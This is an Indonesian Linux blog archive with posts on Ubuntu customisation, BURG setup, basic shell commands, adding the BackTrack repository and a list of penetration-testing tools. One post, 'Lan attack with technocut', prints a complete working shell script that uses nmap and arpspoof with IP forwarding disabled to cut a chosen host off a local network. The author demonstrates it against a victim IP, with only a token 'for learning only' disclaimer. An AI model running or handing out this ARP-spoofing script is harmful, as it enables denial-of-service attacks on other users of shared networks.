Tampilkan postingan dengan label Linux. Tampilkan semua postingan
Tampilkan postingan dengan label Linux. Tampilkan semua postingan

Kamis, 02 September 2010

Install tool BT di Ubuntu 10.04 (Tested)

Assalamu'alaikum.

Pada kesempatan ini, saya akan memberikan sedikit trik, bagaimana cara install tool BT ke ubuntu, mari langsung saja kita ke materi :) :

1. Edit file sources.list dengan perintah:
#sudo gedit /etc/apt/sources.list

2. Kemudian, tambahkan repository backtrack dengan script ini:
deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse

3. Setelah itu, add key melalui terminal dengan perintah:
#sudo wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -

4.Dan, anda harus mengupdate ulang paket/repository yang barusan kita tambah tadi, dengan perintah:
#sudo apt-get update 

5. Finishing, untuk menginstall aplikasi satu-persatu, bisa menggunakan perintah:
#sudo apt-get install nama_aplikasi_bt

dan apabila ndak mau repot, bisa masuk ke : system --> administration -->synaptic paket manager, disitu anda dpt install semua atau satu-persatu, mudah bukan :) ini ss punya saya:
untuk info paket/toolnya bisa langsung ke web ini: 

Sekian, mudah2an bermanfaat,
Wassalamu'alaikum.

Ubuntu Pentest Edition


Assalamu'alaikum.

pada kesempatan ini, ane mau berbagi os yang lumayan bagus + strong, mempunyai nama ubuntu pentest edition, menurut saya, ubuntu pentest ini hampir atau bahkan persih menyamai tool si backtrack, berikut keterangan include toolnya:

Enumeration

Archive

metagoofil
seat

DNS

dnsenum
dnsmap
dnspredict
dnstracer
fierce
host

Route

0trace
Ass
intrace
netenum
netmask
nmbscan
protos
tcptraceroute
tctrace

SMTP

pirana
relayscanner

Searchengine

bing-ip2hosts
gggooglescan
gooscan
metagoofil
pygoogle
subdomainer
urlcrazy

Dradis

dradis client
dradis server
Maltego v2.0.2CE

Network

Identify Live Hosts

Angry IP Scanner
fping
genlist
hping3
netcat
netdiscover
nmap
onesixtyone
outputpbnj
scanpbnj
sslscan
tcptraceroute
unicornscan
Zenmap

OS Fingerprinting

nmap
p0f
protos
sslscan
unicornscan
Xprobe2
Zenmap

Port Scan

genlist
netcat
nmap
outputpbnj
scanpbnj
sslscan
unicornscan
Zenmap

Service Fingerprinting

complemento
httsquash
letdown
reverserider
amap
httprint
httprint GUI

Virtual Private Network

ikeprobe
ike-scan
PSK-Crack

Web Analysis & Attack

Web

–Httprint

–httprint
–httprint GUI

–W3af

–w3af
–w3af console
asp-audit
BurpSuite
curl
DirBuster
GrendelScan
lynx
nessus
nikto
openAcunetix
Paros Proxy
ProxyStrike
ratproxy
Short to Real URL
skipfish
Social Engineering Toolkit
SpikeProxy
wapiti
Webscarab
wfuzz

Cisco

Cisco Auditing Tool
cisco global exploiter
cisco-torch
copy-router-config
OCS

Database

MS-SQL
metacoretex
MS-SQLscan
sqlinjector
SQLiX
sqlmap
sqlninja
SQLScan

mysql

metacoretex
sqlinjector
sqlmap
sqlus
SQLiX

Oracle DB

–Oracle Auditing Tools

–Oracle Password Guesser
–OracleQuery
–Oracle Sam Dump
–OracleSysExec
–Oracle TNS Control
DBPwAudit
sqlinjector
SQLiX
sqlmap

Fuzzing

Fuzzgrind
fuzzgrind
Fuzzgrind GUI
bed
bunny
file format fuzzing framework
Genereal Purpose Fuzzer
jbrofuzz
SMB Analysis
samrdump
Smb4K
smbclient

SNMP Analysis

Mibble::Mib Parser
MibbleBrowser
net-snmp tools
net-snmp tools collection
admsnmp
scli – SNMP Management tools
snmpcheck
snmpenum
snmp-fuzz

OpenVAS

openVAS add user
openVAS client
openVAS makecert
openVAS remove user
openVAS server

Exploiting

FastTrack

fast-track
fast-track GUI

Inguma

inguma

Metasploit Framework

msfcli
msfconsole
msfgui
msfpayload
msfweb

Password Lists

Password Lists
Password Lists Web

Privilege Escalation

Password Attacks

–File Attack

–fcrackzip
–pdfcrack
–rarcrack
–wyd

Offline Attack

–Rainbowcrack

–rainbowcrack
–rainbowcrack GUI
–rtgen
–rtsort
chntpw
crunch
john
ophcrack
pw-inspector
samdump2
wyd

Online Attack

hydra
lodowep
medusa
SSHatter
tftp-bruteforce

Sniffers

arpalert
Driftnet
dsniff
EtherApe (as root)
ettercap
fimap
ssldump
sslscan
sslstrip
tcpick
Wireshark

Spoofing

EtherApe (as root)
ettercap
icmpush
netenum
PackETH
packit
scapy
ssldump
sslstrip
tcpreplay

Connect & Access

3proxy
cryptcat
dns2tcp
miredo
miredo-server
nstx
proxychains
ptunnel
socat
stunnel4
tinyproxy
udptunnel

Anonymity

Tor Browser

Wireless & Bluetooth

802.11

Analysing

Kismet
weplab
WiFi Radar

Cracking

aircrack-ng suite

airbase-ng
aircrack-ng
airdecap-ng
airdecloak-ng
airdriver-ng
aireplay-ng
airmon-ng
airodump-ng
airolib-ng
airpwn-ng
airserv-ng
airtun-ng
easside-ng
packetforge-ng
tkiptun-ng
wesside-ng

–WifiZoo

–wifizoo
–wifizoo webGUI
airsnarf
asleap
cowpatty
evilapcrt
genpmk
Kismet
pyrit

Spoofing

aircrack-ng suite
airbase-ng
aircrack-ng
airdecap-ng
airdecloak-ng
airdriver-ng
aireplay-ng
airmon-ng
airodump-ng
airolib-ng
airpwn-ng
airserv-ng
airtun-ng
easside-ng
packetforge-ng
tkiptun-ng
wesside-ng
wifizoo

Misc

macchanger
macchanger-gtk
Spectrum Tool – WiSpy
wavemon

Bluetooth

bluebugger
blueprint
btscanner
hcidump
minicom
obexftp
ussp-push

Rfid

RFIDIOt suite

Voip

Media

ohrwurm
redirectpoison
rtpbreak
rtpflood
rtpinsertsound
rtpmixsound
voipong

Signaling

–SipVicious suite

–svcrack
–svmap
–svreport
–svwar
add registrations
enumiax
erase registrations
iaxflood
inviteflood
protos-sip
sipcrack
sipdump
sipsak
sipwitch
smap
vnak
voiper
voiphopper
warwox

Reverse engineering

gdb
IDA Pro Free
ollydbg

Digital Forensic

Anti-forensic

KGpg
TrueCrypt

Analysis

autopsy
Digital Forensic Framework
MBoxgrep
scalpel
vinetto
Xplico

File Carving

foremost
magicrescue

Image Aquiring

–Advanced Forensic Format
–afcat
–afcompare
–affix
–afinfo
–afstats
–afxml
–Aimage
–dcfldd
–dd_rescue
–galleta
–myrescue

Tools not listed in the pentest menu

dnstop
dnswalk
fprobe
fprobe-ng
icmpinfo
icmptx
tcpd
tcpdump
tcpreen
tcpslice

List itu juga bisa didapat di http://tools.securitytube.net/
untuk download Ubuntu Pentest Edition ini bisa di download di http://www.netinfinity.org/download
untuk mendapatkan informasi lebih tentang Ubuntu ini silahkan kunjungi situ http://www.netinfinity.org

Sekian, semoga bermanfaat.
Wassalamu'alaikum.

Rabu, 01 September 2010

Lan attack with technocut (uncensored)


Assalamu'alaikum.

Pada bagian ini ijinkan saya membahas tentang bagaimana cara attack di suatu lan (local area network) menggunakan technocut (linux version).

oke langsung saja kita ke sekenarionya:

Mungkin kita sudah pernah dengar dengan software netcut di windows, yaitu tools jaringan yang digunakan untuk membuat konflik ip address dalam sebuah jaringan. Serangan ini cukup fatal sehingga komputer yang terkena serangan ini seakan akan putus dari jaringan, dan kadang bisa sampai hang.

Di linux versi desktop ada pula tools serupa dengan netcut di windows, namanya tuxcut cara kerjanya hampir sama. Kali ini yang saya bahas disini adalah technocut , yaitu netcut dengan basis shell/text.

Nb: ingat hanya untuk sebatas pembelajaran!!! Resiko silakan tanggung sendiri. kekekeke

Install dulu paket pendukungnya (arptables, dsniff, nmap):
#apt-get install arptables dsniff nmap

ini scriptnya, sengaja ane gak reconfig ulang, karena menghormati tukang codingnya. hehe :)
-------------------------------------------------------------------
#!/bin/sh
# 21-03-2010 bertapa di TLab
# kebutuhan program:
# - arptables
# - dsniff
# - nmap
#
# Promram ini mesti dijalankan dengan hak akses root.

inTER="`ip route list | grep "default" | cut -d " " -s -f 5`"
awakMAC="`ip addr show dev $inTER | awk '/ether/{ print $2 }'`"
gwIP="`ip route list | grep "default" | cut -d" " -f3`"
gwMAC=`arping -I $inTER -f $gwIP | grep "Unicast" | cut -d" " -f5 | cut -d"[" -f2 | cut -d"]" -f1`
awakIP="`ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`" > /dev/null
clear
echo "====================================================="
echo "|                                                    |"
echo "|             TechnoCut V0,1 Beta                    |"
echo "|          Created By Novizul Evendi                 |"
echo "|                                                    |"
echo "| Web  : http://www.techno-os.net                    |"
echo "| Email: karuwak@techno-os.net                       |"
echo "| Note : Ingat Hanya sebatas pembelajaran!!          |"
echo "|                                                    |"
echo "====================================================="                    
echo "Info System:  IP=$awakIP, MAC=$awakMAC, GW=$gwIP, LanCard=$inTER"
echo "================================================================================​===="
echo ""
echo "Protek dluw System Qta"
echo "-------------- --------"
`arptables -A IN -s $gwIP --source-mac $gwMAC -j ACCEPT`
echo "arptables -A IN -s $gwIP --source-mac $gwMAC -j ACCEPT"
`arptables -A OUT -d $gwIP --target-mac $gwMAC -j ACCEPT`
echo "arptables -A OUT -d $gwIP --target-mac $gwMAC -j ACCEPT"
`arp -s $gwIP $gwMAC`
echo "arp -s $gwIP $gwMAC"

echo ""
echo "scan jaringan $gwIP/24 Dluw ya"
echo "--------------------------------------"
nmap -sP $gwIP/24 | grep "[0-9].[0-9].[0-9].[0-9]"
echo ""

echo "Masukkan IP target yang diinginkan:"
echo "------------------------------------"
read vicip
echo "Attacking $vicip"
echo 0 > /proc/sys/net/ipv4/ip_forward
`arpspoof -i $inTER -t $gwIP $vicip &>/dev/null &`
clear
echo "Serangan melalui $inTER ke $vicip diluncurkan"
echo ""
read -p "Untuk memberhentikan serangan, tekan Enter"
clear
echo "Target sudah normal lagi"
echo 1 > /proc/sys/net/ipv4/ip_forward
killall arpspoof
`arptables -P IN ACCEPT && arptables -P OUT ACCEPT && arptables -F`
echo ""
echo ""

------------------------------------------------------------------- 
save dengan extensi bash atau .sh


setelah itu, mari kita lihat seksama skenarionya ini :)
1. ini penampilan laptop os ubuntu (paling butut yg ane punya) : ls/dir sama aja.
[Image: attack1.png]

2.running file dengan perintah : # sh technocut.sh
[Image: attack2.png]

3. pilih target , contoh : 192.168.11.31 <-- target ane

4. setelah itu ane enter maka hasilnya:
[Image: attack3o.png]

5. kemudian ane ping ip yang lain dan ip target hasilnya:



nb: ip 192.168.11.1 yg gak ane attack, ip 192.168.11.31 ip yang sedang ane attack, kasihan. ane ctrl+c untuk stop serangan.

nah, itu tadi sedikit penjelasan dari ane, semoga dapat di famami.
powered by: http://techno-os.net/wp-content/d0wnl0ad/tools/


Wassalamu'alaikum.

Selasa, 31 Agustus 2010

Mengganti sound startup pada ubuntu.


Assalamu'alaikum

pada kesempatan ini, saya akan sedikit berbagi tips untuk mengganti sound ketika startup pada ubuntu, mari langsung saja kita ke materi.

1. masuk ke terminal terlebih dahulu, login sebagai root tentunya, kemudian ketik perintah:
$ alsamixer
set master samapi 100%. hehehe, biar keras .tekan "esc" untuk keluar.
nb: kita harus siapkan file audio pengganti 'desktop-login' berekstensi : *.wav atau *.ogg, misal : ane ganti menjadi windows_startup.wav

2. copy file audio tadi "windows_startup.wav" ke /usr/share/sounds/ubuntu/stereo/
$ sudo cp Music/windows_startup.wav /usr/share/sounds/ubuntu/stereo/
nb: Music <-- adalah folder musik.

3. kemudian, masuk ke System > Preferences > Startup Applications > cari " GNOME Login Sound ", pilih edit .
pada keterangan :  /usr/bin/canberra-gtk-play --id="desktop-login" --description="GNOME Login" kemudian anda ganti :
--id="desktop-login" menjadi nama file audio yang kita copykan tadi menjadi : --id="windows_startup" tanpa exetensi .wav, otomatis sudah terdetec karena file audio.

4. kemudian save-->close. anda coba sign out lalu masuk kembali. taraaaa. pasti audio startupnya sudah terganti.kalau memang blm muncul. cek kembali step2nya, kemudian reboot.

Sekian,
Wassalamu'alaikum.

Cara mengganti background login screen pada ubuntu 10.04 via software dan script


Assalamu'alaikum.

pada kesempatan ini, saya akan sedikit memberi tips, bagaimana cara mengganti background screen pada ubuntu 10.04 via software dan script.

a. dengan software:
1. masuk ke terminal akses menjadi root, kemudian ikuti perintah ini.
2. kemudian tambahkan repositorynya dengan perintah:
sudo add-apt-repository ppa:gdm2setup/gdm2setup
3. dilanjutkan dengan update repo, dengan perintah:

sudo apt-get update
4. terakhir install softwarenya, dengan perintah:

sudo apt-get install python-gdm2setup 
5. Kalau sudah tinggal buka System>Administration>Login Screen(GDM2Setup)
6. Finishing, tinggal ganti aja wallpaper terserah enter.


ini ss softwarenya:

b.menggunakan script.
menggunakan script, aslinya ndak jauh beda kok, cuma kagak pakai grafik dianya, ok. ini perintah n stepnya :).


1. Siapkan wallpaper yang akan dijadikan login screen

2. Pastikan picture tersebut ber-extensi  .jpg.

3. Pindahkan file tersebut ke direktory system wallpaper.

sudo mv ~/wallpaper-name.jpg /usr/share/backgrounds  atau

cp wallpaper-name.jpg /usr/share/backgrounds

4. Actifkan Appearance window login

sudo cp /usr/share/applications/gnome-appearance-properties.desktop /usr/share/gdm/autostart/LoginWindow

5. Tutup terminal. –>> Log out session. Pada login screen, akan muncul Appearance Preferences. Kemudian pilih background tab pilih wallpaper yang diinginkan sebagai background. (Jika wallpaper yang diinginkan tidak muncul, klik Add. Dan wallpaper yang diinginkan akan ada didalam direktori /usr/share/backgrounds directory).

6. Maka login screen akan memiliki background sesuai dengan yang diinginkan.

7. Lalu supaya tampilan Appearance Preferences tidak muncul masukkan perintah :

sudo unlink /usr/share/gdm/autostart/LoginWindow/gnome-appearance-properties.desktop


Semoga bermanfaat, bro.
Wassalamu'alaikum.

Setting burg pada ubuntu 10.04 (Tested)

Assalamu'alaikum.

Pada kesempatan ini saya akan memaparkan bagaimana cara merubah boot loader pada ubuntu 10.04 menggunakan burg, ok langsung saja.

1. menambah repositori burg terlebih dahulu dengan perintah:
* sudo add-apt-repository ppa:bean123ch/burg
kemudian
* sudo apt-get update && sudo apt-get install burg burg-themes

2. waitting prossesnya, ini saya contohkan punya saya:
-----------------------------------------------------------------------------------------
root@wahyu-server:/# sudo add-apt-repository ppa:bean123ch/burg
Executing: gpg --ignore-time-conflict --no-options --no-default-keyring --secret-keyring /etc/apt/secring.gpg --trustdb-name /etc/apt/trustdb.gpg --keyring /etc/apt/trusted.gpg --primary-keyring /etc/apt/trusted.gpg --keyserver keyserver.ubuntu.com --recv A267D98DF71B10F601CFAC1B55708F1EE06803C5
gpg: requesting key E06803C5 from hkp server keyserver.ubuntu.com
gpg: key E06803C5: public key "Launchpad burg" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
root@wahyu-server:/# sudo apt-get update && sudo apt-get install burg-pc burg-themes burg-emu
Hit http://ubuntu.pesat.net.id lucid Release.gpg                               
Ign http://ubuntu.pesat.net.id/archive/ lucid/main Translation-en_US           
Get:1 http://dl.google.com stable Release.gpg [189B]                           
Ign http://dl.google.com/linux/deb/ stable/main Translation-en_US              
Ign http://ubuntu.pesat.net.id/archive/ lucid/restricted Translation-en_US     
Get:2 http://dl.google.com stable Release [2,544B]                             
Ign http://ubuntu.pesat.net.id/archive/ lucid/universe Translation-en_US
Ign http://ubuntu.pesat.net.id/archive/ lucid/multiverse Translation-en_US
Hit http://ubuntu.pesat.net.id lucid-updates Release.gpg             
Ign http://ubuntu.pesat.net.id/archive/ lucid-updates/main Translation-en_US
Get:3 http://dl.google.com stable/main Packages [1,091B]             
Ign http://ubuntu.pesat.net.id/archive/ lucid-updates/restricted Translation-en_US
Hit http://ppa.launchpad.net lucid Release.gpg 
Ign http://ppa.launchpad.net/dockbar-main/ppa/ubuntu/ lucid/main Translation-en_US
Ign http://ubuntu.pesat.net.id/archive/ lucid-updates/universe Translation-en_US
Ign http://ubuntu.pesat.net.id/archive/ lucid-updates/multiverse Translation-en_US
Hit http://ubuntu.pesat.net.id lucid-security Release.gpg
Ign http://ubuntu.pesat.net.id/archive/ lucid-security/main Translation-en_US
Hit http://ppa.launchpad.net lucid Release.gpg 
Ign http://ppa.launchpad.net/gnomenu-team/ppa/ubuntu/ lucid/main Translation-en_US
Hit http://ppa.launchpad.net lucid Release.gpg 
Ign http://ppa.launchpad.net/elementaryart/elementarydesktop/ubuntu/ lucid/main Translation-en_US
Get:4 http://ppa.launchpad.net lucid Release.gpg [307B]
Ign http://ppa.launchpad.net/bean123ch/burg/ubuntu/ lucid/main Translation-en_US
Ign http://ubuntu.pesat.net.id/archive/ lucid-security/restricted Translation-en_US
Ign http://ubuntu.pesat.net.id/archive/ lucid-security/universe Translation-en_US
Hit http://ppa.launchpad.net lucid Release     
Ign http://ubuntu.pesat.net.id/archive/ lucid-security/multiverse Translation-en_US
Hit http://ubuntu.pesat.net.id lucid Release                         
Hit http://ubuntu.pesat.net.id lucid-updates Release                 
Hit http://ubuntu.pesat.net.id lucid-security Release                
Hit http://ubuntu.pesat.net.id lucid/main Packages                             
Hit http://ppa.launchpad.net lucid Release                           
Hit http://ppa.launchpad.net lucid Release                           
Get:5 http://ppa.launchpad.net lucid Release [57.3kB]                          
Hit http://ubuntu.pesat.net.id lucid/restricted Packages                       
Hit http://ubuntu.pesat.net.id lucid/main Sources                        
Hit http://ubuntu.pesat.net.id lucid/restricted Sources
Hit http://ubuntu.pesat.net.id lucid/universe Packages
Hit http://ubuntu.pesat.net.id lucid/universe Sources 
Hit http://ubuntu.pesat.net.id lucid/multiverse Packages
Hit http://ubuntu.pesat.net.id lucid/multiverse Sources
Hit http://ubuntu.pesat.net.id lucid-updates/main Packages                  
Hit http://ubuntu.pesat.net.id lucid-updates/restricted Packages            
Hit http://ubuntu.pesat.net.id lucid-updates/main Sources                   
Hit http://ubuntu.pesat.net.id lucid-updates/restricted Sources             
Hit http://ubuntu.pesat.net.id lucid-updates/universe Packages              
Hit http://ubuntu.pesat.net.id lucid-updates/universe Sources
Hit http://ubuntu.pesat.net.id lucid-updates/multiverse Packages
Hit http://ubuntu.pesat.net.id lucid-updates/multiverse Sources
Hit http://ubuntu.pesat.net.id lucid-security/main Packages
Hit http://ubuntu.pesat.net.id lucid-security/restricted Packages
Hit http://ubuntu.pesat.net.id lucid-security/main Sources
Hit http://ubuntu.pesat.net.id lucid-security/restricted Sources
Hit http://ubuntu.pesat.net.id lucid-security/universe Packages             
Hit http://ubuntu.pesat.net.id lucid-security/universe Sources              
Hit http://ubuntu.pesat.net.id lucid-security/multiverse Packages           
Hit http://ubuntu.pesat.net.id lucid-security/multiverse Sources            
Hit http://deb.opera.com stable Release.gpg           
Ign http://deb.opera.com/opera/ stable/non-free Translation-en_US
Hit http://ppa.launchpad.net lucid/main Packages       
Hit http://deb.opera.com stable Release                                
Hit http://ppa.launchpad.net lucid/main Packages
Hit http://ppa.launchpad.net lucid/main Packages
Ign http://deb.opera.com stable/non-free Packages
Get:6 http://ppa.launchpad.net lucid/main Packages [1,615B]
Ign http://deb.opera.com stable/non-free Packages     
Hit http://deb.opera.com stable/non-free Packages
Fetched 63.0kB in 5s (10.7kB/s)
Reading package lists... Done
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  burg-common burg-themes-common
The following NEW packages will be installed:
  burg-common burg-emu burg-pc burg-themes burg-themes-common
0 upgraded, 5 newly installed, 0 to remove and 1 not upgraded.
Need to get 13.5MB of archives.
After this operation, 25.3MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://ppa.launchpad.net/bean123ch/burg/ubuntu/ lucid/main burg-common 1.98+20100623-1 [1,224kB]
Get:2 http://ppa.launchpad.net/bean123ch/burg/ubuntu/ lucid/main burg-emu 1.98+20100623-1 [1,414kB]
Get:3 http://ppa.launchpad.net/bean123ch/burg/ubuntu/ lucid/main burg-pc 1.98+20100623-1 [691kB]                                                                       
Get:4 http://ppa.launchpad.net/bean123ch/burg/ubuntu/ lucid/main burg-themes-common 1.98+20100623-1 [3,508kB]                                                          
Get:5 http://ppa.launchpad.net/bean123ch/burg/ubuntu/ lucid/main burg-themes 1.98+20100623-1 [6,690kB]                                                                 
Fetched 13.5MB in 19min 43s (11.4kB/s)                                                                                                                                 
Preconfiguring packages ...
Selecting previously deselected package burg-common.
(Reading database ... 155925 files and directories currently installed.)
Unpacking burg-common (from .../burg-common_1.98+20100623-1_i386.deb) ...
Selecting previously deselected package burg-emu.
Unpacking burg-emu (from .../burg-emu_1.98+20100623-1_i386.deb) ...
Selecting previously deselected package burg-pc.
Unpacking burg-pc (from .../burg-pc_1.98+20100623-1_i386.deb) ...
Selecting previously deselected package burg-themes-common.
Unpacking burg-themes-common (from .../burg-themes-common_1.98+20100623-1_all.deb) ...
Selecting previously deselected package burg-themes.
Unpacking burg-themes (from .../burg-themes_1.98+20100623-1_all.deb) ...
Processing triggers for install-info ...
Processing triggers for man-db ...
Setting up burg-common (1.98+20100623-1) ...
Setting up burg-emu (1.98+20100623-1) ...
Setting up burg-pc (1.98+20100623-1) ...
-----------------------------------------------------------------------------------------
kemudian pilih enter saja seperti gambar.
3. cek list pada menu /dev/sda/
---------------------------------------------------------------------------------------------------------------------
Creating config file /etc/default/burg with new version
Installation finished. No error reported.
Generating burg.cfg ...
Found linux image: /boot/vmlinuz-2.6.32-24-generic
Found initrd image: /boot/initrd.img-2.6.32-24-generic
Found linux image: /boot/vmlinuz-2.6.32-21-generic
Found initrd image: /boot/initrd.img-2.6.32-21-generic
Found Microsoft Windows XP Professional on /dev/sda2
done
Setting up burg-themes-common (1.98+20100623-1) ...
Setting up burg-themes (1.98+20100623-1) ...
root@wahyu-server:/#
---------------------------------------------------------------------------------------------------------------------
4. untuk melihat hasil, anda dapat menggunakan perintah
* sudo burg-emu
5. untuk mengedit burg, anda bisa masuk ke direktori ini:
/etc/default/burg
 kemudian, anda harus mengatur resolusi layar anda, cari dan ganti seperti ini.
GRUB_GFXMODE=1024x768  <-- untuk resolusi
serta
GRUB_THEME=ubuntu <--- ini merupakan theme si burg tersebut, untuk melihat semua nama theme, anda harus masuk ke:
/boot/burg/themes
disitu anda akan, diperlihatkan semua theme yang ada, dan bisa diganti sesusai keperluan anda. 
taraaa. burg sudah terintal, nah sekarang agar melekas, anda harus update-burg, dangan perintah : apt-update burg

6. Finishing. Reboot System. :)

Sekian,
Wassalamu'alaikum.

Sabtu, 28 Agustus 2010

DOS v.s. Linux command



Assalamu'alaikum.

Pada kesempatan ini, saya akan sedikit membandingkan antara perintah windows dengan perintah yang ada di linux, mari kita kaji dengan seksama.

Sistem operasi DOS dan Linux memiliki beberapa persamaan Perintah. Sebagai bahan referensi, saya akan memaparkan perintah-perintah yang memiliki arti yang sama diantara kedua OS tersebut. Mungkin tidak semua perintah yang dapat disampaikan sesuai kemampuan saya.


DOS Linux Penjelasan
assign ln Create a file or directory link
/? man Help about the command
break on trap Trap ctrl-break / Trap signals
cd cd Change directory
chdir pwd Display directory location
cls clear Clear screen
copy cp Copy a file
date date Displays or sets the date
del rm Deletes one or more files
dir ls Displays a list of files and subdirectories in a directory


DOS Linux Penjelasan
doskey /h history history List command history
echo echo Displays messages, or turns command-echoing on or off
edit vim (or other editor) Editor to edit files
exit exit Exit the command prompt
fc diff Compare two files and show differences
find grep Searches for a text string in a file or files
format mke2fs or mformat Formats a disk
find grep Look for a word in files given in command line
hostname hostname Print host name of computer
ipconfig ifconfig Display/configure network interface
mem free Displays the amount of used and free memory in your system
mkdir mkdir Create a Directory
more more or even less Displays output one screen at a time
move mv Moves files and renames files and directories
ping ping Send packets to a network host
route print route -n Print routing table
reboot shutdown -r now Reboot system
ren mv Renames a file or files
set set or env List all environment variables
tracert traceroute Show routes and router hops to given network destination
time date Displays or sets the system time
tasklist ps -aux top top List executable name, process ID number and memory usage of active processes
type cat Dump contents of a file to users screen
ver Uname -a Operating system/shell version
win startx Start x-windows
xcopy cp -R Copy all file of directory recursively



Wassalamu'alaikum.

Linux File Directory Structure

Assalamu'alaikum.

Pada kesempatan ini saya sedikit membahas tentang Linux File Directory Structure.
Jika kita ingin belajar linux lebih mendalam, hal yang paling dasar dipahami adalah truktur direktori pada linux itu sendiri. Pada dasarnya semua linux memiliki struktur direktori yang sama. Struktur direktori Linux berbeda dengan struktur direktori yang ada pada Windows ataupun MS-DOS. Setiap direktori memiliki fungsi yang berbeda-beda. Contoh bahwa direktori /bin berfungsi untuk menyimpan semua perintah dasar pada Linux. Sehingga struktur direktori di Linux disebut Filesystem Hierarchy Standard (FHS).
Untuk memudahkan memahami tentang FHS di Linux, anda dapat memperhatikan ilustrasi dibawah seperti yang dibuat oleh linuxconfig.org :


Keterangan:
* /bin direktori yang berisi file-file binary standar yang dapat digunakan oleh seluruh user baik user biasa maupun super user (perintah dasar dalam linux)
* /boot direktori yang berisi file-file untuk booting Linux
* /dev direktori yang berisi file system khusus yang merupakan refleksi device hard-ware yang dikenali dan digunakan sistem seperti Hard Disk, Floppy Disk, Flash Disk, dll
* /etc direktori yang berisi file-file konfigurasi sistem, dan hanya boleh diubah oleh super user
* /home direktori yang berisi yang merupakan direktori home untuk semua user
* /lib direktori yang berisi file-file library yang digunakan untuk mendukung kerja kernel Linux
* /mnt merupakan direktori khusus yang disediakan untuk mounting (mengaitkan) device disk storage ke sistem dalam bentuk direktori
* /proc berisi file system khusus yang menunjukkan data-data kernel setiap saat
* /root direktori home untuk user root (user khusus dengan priviledges hampir tak terbatas.
* /sbin direktori yang sama seperti direktori /bin, tetapi hanya super user yang se-baiknya menggunakan binary- binary tersebut mengingat fungsi-fungsi binary yang terdapat di direktori ini untuk maintenance sistem
* /tmp berisi file-file sementara yang dibutuhkan sebuah aplikasi yang sedang berjalan
* /usr direktori yang berisi library, binary, dokumentasi dan file lainnya hasil instalasi user
* /var direktori yang berisi file-file log, mailbox dan data-data aplikasi
FHS ini berlaku untuk semua distro (Ubuntu, Red Hat, Fedora, etc.).

Untuk lebih jelas, bisa dibaca pada sumber: http://www.linuxconfig.org/Filesystem_Basics

Wassalamu'alaikum.

Gnu (Linux Untuk Awam)/Perintah-perintah dasar


 Assalamu'alaikum.

Pada kesempatan ini saya sedikit membahasa tentang perintah-perintah dasar pada system linux, ok langsung saja kita simak dengan seksama.

Sekilas Tentang Command Line
Seperti halnya bila kita mengetikkan perintah di DOS, command line atau baris perintah di Linux juga diketikkan di prompt dan diakhiri dengan menekan tombol Enter pada keyboard untuk mengeksekusi perintah tersebut.
Baris perintah merupakan cara yang lebih efisien untuk melakukan sesuatu pekerjaan. Oleh karena itu pemakai Linux tetap mengandalkan cara ini untuk bekerja. Sebaiknya pemula juga harus mengetahui dan sedikitnya pernah menggunanakan perintah baris ini karena suatu saat pengetahuan akan perintah-perintah ini bisa sangat diperlukan.

Berikut akan dijelaskan beberapa perintah dasar yang mungkin kelak akan sering digunakan terutama oleh para pemula. Perhatian: pengetahuan akan perintah-perintah yang lain akan segera bertambah seiring dengan kemajuan Anda menguasai sistem operasi Linux ini.
Penjelasan masing-masing perintah akan dipersingkat saja dan untuk mengetahui lebih detail lagi fungsi-fungsi suatu perintah, Anda dapat melihat manualnya, misalnya dengan mengetikkan perintah man:
man adalah perintah untuk menampilkan manual dari suatu perintah. Cara untuk menggunakannya adalah dengan mengetikkan man diikuti dengan perintah yang ingin kita ketahui manual pemakaiannya.
Contoh:
$ man ls
Perintah di atas digunakan untuk menampilkan bagaimana cara penggunaan perintah ls secara lengkap.
Perintah-Perintah Dasar Linux
Sebagai panduan Anda, berikut adalah daftar perintah secara alfabet. Sebenarnya, Anda dapat saja menekan tab dua kali untuk melihat semua kemungkinan perintah yang dapat digunakan. Misalnya Anda ingin mengetahui perintah apa saja yang dimulai dengan huruf a, maka Anda cukup mengetikkan a lalu tekan tab dua kali!
Daftar Perintah Menurut Alfabet
& adduser alias bg cat cd chgrp chmod chown cp fg find grep gzip halt hostname kill less login logout ls man mesg mkdir more mount mv passwd pwd rm rmdir shutdown su tail talk tar umount unalias unzip wall who xhost + xset zip
&
Perintah & digunakan untuk menjalan perintah di belakang (background) Contoh:
wget http://id.wikibooks.org &
Perintah & dipakai dibelakang perintah lain untuk menjalankannya di background. Apa itu jalan di background? Jalan dibackground maksudnya adalah kita membiarkan sistem untuk menjalankan perintah sendiri tanpa partisipasi kita, dan membebaskan shell/command prompt agar bisa dipergunakan menjalankan perintah yang lain.
Lihat juga:
Silahkan lihat juga perintah bg dan fg.
adduser
Perintah adduser digunakan untuk menambahkan user.
Biasanya hanya dilakukan oleh root untuk menambahkan user atau account yg baru. Setelah perintah ini bisa dilanjutkan dengan perintah passwd, yaitu perintah untuk membuat password bagi user tersebut. Contoh:
# adduser udin
# passwd udin
Perhatikan bahwa semua perintah yang membutuhkan akses root, di sini saya tulis dengan dengan menggunakan tanda #, untuk memudahkan Anda membedakannya dengan perintah yang tidak perlu akses root.
Jika Anda menjalankan perintah adduser, Anda akan diminta memasukkan password untuk user yang Anda buat. Isikan password untuk user baru tersebut dua kali dengan kata yang sama.
alias
Digunakan untuk memberi nama lain dari sebuah perintah. Misalnya bila Anda ingin perintah ls dapat juga dijalankandengan mengetikkan perintah dir, maka buatlah aliasnya sbb:
$ alias dir=ls
Kalau Anda suka dengan tampilan berwarna-warni, cobalah bereksperimen dengan perintah berikut:
$ alias dir=ls -ar –color:always
Untuk melihat perintah-perintah apa saja yang mempunyai nama lain saat itu, cukup ketikkan alias saja (tanpa argumen). Lihat juga perintah unalias.
bg
Untuk memaksa sebuah proses yang dihentikan sementara(suspend) agar berjalan di background. Misalnya Anda sedang menjalankan sebuah perintah di foreground (tanpa diakhiri perintah &) dan suatu saat Anda membutuhkan shell tersebut maka Anda dapat memberhentikan sementara perintah tersebut dengan Ctrl-Z kemudian ketikan perintah bg untuk menjalakannya di background. Dengan cara ini Anda telah membebaskan shell tapi tetap mempertahankan perintah lama berjalan di background.
Lihat juga perintah fg.
cat
Menampilkan isi dari sebuah file di layar. Contoh:
